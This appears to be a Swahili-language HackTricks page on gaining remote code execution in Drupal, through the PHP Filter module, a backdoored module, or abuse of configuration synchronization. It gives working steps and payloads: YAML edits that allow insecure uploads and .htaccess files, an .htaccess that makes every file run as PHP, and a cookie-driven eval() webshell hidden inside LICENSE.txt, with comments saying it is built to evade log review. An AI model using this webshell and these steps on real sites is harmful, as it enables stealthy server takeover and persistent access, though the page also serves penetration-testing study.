Drupal RCE
Reading time: 8 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Na Moduli ya PHP Filter
warning
Katika toleo za zamani za Drupal (kabla ya toleo la 8), ilikuwa inawezekana kuingia kama admin na kuwezesha moduli ya PHP filter
, ambayo "Inaruhusu msimbo/mifano ya PHP iliyowekwa ndani kutathminiwa." Lakini kuanzia toleo la 8 moduli hii haijaanzishwa kwa default.
- Nenda kwenye /modules/php na ikiwa kosa la 403 linarudi basi plugin ya PHP filter imewekwa na unaweza kuendelea
- Ikiwa sivyo, nenda kwenye
Modules
na angalia kisanduku chaPHP Filter
kisha bonyezaSave configuration
- Kisha, ili kuifanyia shambulio, bonyeza
Add content
, kisha chaguaBasic Page
auArticle
na andika PHP backdoor, kisha chagua msimbo waPHP
katika muundo wa Text na hatimaye chaguaPreview
- Ili kuichochea, ingia tu kwenye node mpya iliyoundwa:
curl http://drupal.local/node/3
Install PHP Filter Module
warning
Katika toleo za sasa si tena inawezekana kufunga plugins kwa kuwa na ufikiaji wa wavuti tu baada ya usakinishaji wa default.
Kuanzia toleo 8 na kuendelea, PHP Filter moduli haifungwi kwa default. Ili kutumia kazi hii, tunahitaji kufunga moduli wenyewe.
- Pakua toleo la hivi karibuni la moduli kutoka tovuti ya Drupal.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Mara baada ya kupakua nenda kwenye
Administration
>Reports
>Available updates
. - Bonyeza
Browse
, chagua faili kutoka kwenye saraka tuliyoiweka, kisha bonyezaInstall
. - Mara moduli inapokuwa imewekwa, tunaweza kubonyeza
Content
na kuunda ukurasa mpya wa msingi, kama tulivyofanya katika mfano wa Drupal 7. Tena, hakikisha uchaguePHP code
kutoka kwenyeText format
dropdown.
Backdoored Module
warning
Katika toleo za sasa si tena inawezekana kufunga plugins kwa kuwa na ufikiaji wa wavuti tu baada ya usakinishaji wa default.
Ilikuwa inawezekana kupakua moduli, kuongeza backdoor ndani yake na kufunga. Kwa mfano, kupakua Trurnstile moduli katika muundo wa kubana, kuunda faili mpya ya backdoor ya PHP ndani yake, ikiruhusu ufikiaji wa faili ya PHP na faili ya .htaccess
:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
Na kisha kwenda kwenye http://drupal.local/admin/modules/install
ili kusakinisha moduli iliyokuwa na backdoor na kufikia /modules/turnstile/back.php
ili kuitekeleza.
Backdooring Drupal kwa Usawazishaji wa Mipangilio
Post iliyoshirikiwa na Coiffeur0x90
Sehemu ya 1 (kuwasha Media na Media Library)
Katika menyu ya Extend (/admin/modules), unaweza kuwasha kile kinachoweza kuonekana kama plugins ambazo tayari zimesakinishwa. Kwa kawaida, plugins Media na Media Library hazionekani kuwa zimewashwa, hivyo hebu tuwasha.
Kabla ya kuwasha:
Baada ya kuwasha:
Sehemu ya 2 (kutumia kipengele Configuration synchronization)
Tutatumia kipengele Configuration synchronization ili kutupa (kuhamasisha) na kupakia (kuagiza) entries za mipangilio ya Drupal:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Patch system.file.yml
Hebu tuanze kwa kupatch entry ya kwanza allow_insecure_uploads
kutoka:
File: system.file.yml
...
allow_insecure_uploads: false
...
Kwa:
File: system.file.yml
...
allow_insecure_uploads: true
...
Pachisha field.field.media.document.field_media_document.yml
Kisha, pachisha kipengele cha pili file_extensions
kutoka:
File: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Kwa:
File: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Sijatumia katika blogu hii lakini inabainishwa kuwa inawezekana kufafanua kiingilio
file_directory
kwa njia isiyo ya kawaida na kwamba inahatarishwa na shambulio la path traversal (hivyo tunaweza kurudi juu ndani ya mti wa mfumo wa faili wa Drupal).
Sehemu ya 3 (kutumia kipengele Ongeza Hati)
Hatua ya mwisho ni rahisi zaidi, na imegawanywa katika hatua ndogo mbili. Ya kwanza ni kupakia faili katika muundo wa .htaccess ili kutumia maagizo ya Apache na kuruhusu faili za .txt kutafsiriwa na injini ya PHP. Ya pili ni kupakia faili ya .txt inayoshikilia mzigo wetu.
File: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
Kwa nini hila hii ni ya kupendeza?
Kwa sababu mara tu Webshell (ambayo tutaiita LICENSE.txt) inapowekwa kwenye seva ya Mtandao, tunaweza kuhamasisha amri zetu kupitia $_COOKIE
na katika kumbukumbu za seva ya Mtandao, hii itaonekana kama ombi halali la GET kwa faili ya maandiko.
Kwa nini kuitwa Webshell yetu LICENSE.txt?
Kwa sababu tu ikiwa tutachukua faili ifuatayo, kwa mfano core/LICENSE.txt (ambayo tayari ipo katika msingi wa Drupal), tuna faili ya mistari 339 na ukubwa wa 17.6 KB, ambayo ni bora kwa kuongeza kipande kidogo cha msimbo wa PHP katikati (kwa sababu faili ni kubwa vya kutosha).
Faili: Patched LICENSE.txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Sehemu 3.1 (pakia faili .htaccess)
Kwanza, tunatumia kipengele Add Document (/media/add/document) kupakia faili yetu inayoshikilia maagizo ya Apache (.htaccess).
Sehemu 3.2 (pakia faili LICENSE.txt)
Kisha, tunatumia tena kipengele Add Document (/media/add/document) kupakia Webshell iliyofichwa ndani ya faili la leseni.
Sehemu 4 (mawasiliano na Webshell)
Sehemu ya mwisho inahusisha mawasiliano na Webshell.
Kama inavyoonyeshwa katika picha ifuatayo, ikiwa cookie inayotarajiwa na Webshell yetu haijafafanuliwa, tunapata matokeo yafuatayo tunaposhughulikia faili kupitia kivinjari cha wavuti.
Wakati mshambuliaji anapoweka cookie, anaweza kuwasiliana na Webshell na kutekeleza amri zozote anazotaka.
Na kama unavyoona katika kumbukumbu, inaonekana kama faili moja tu ya txt imeombwa.
Asante kwa kuchukua muda kusoma makala hii, natumai itakusaidia kupata baadhi ya shells.
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.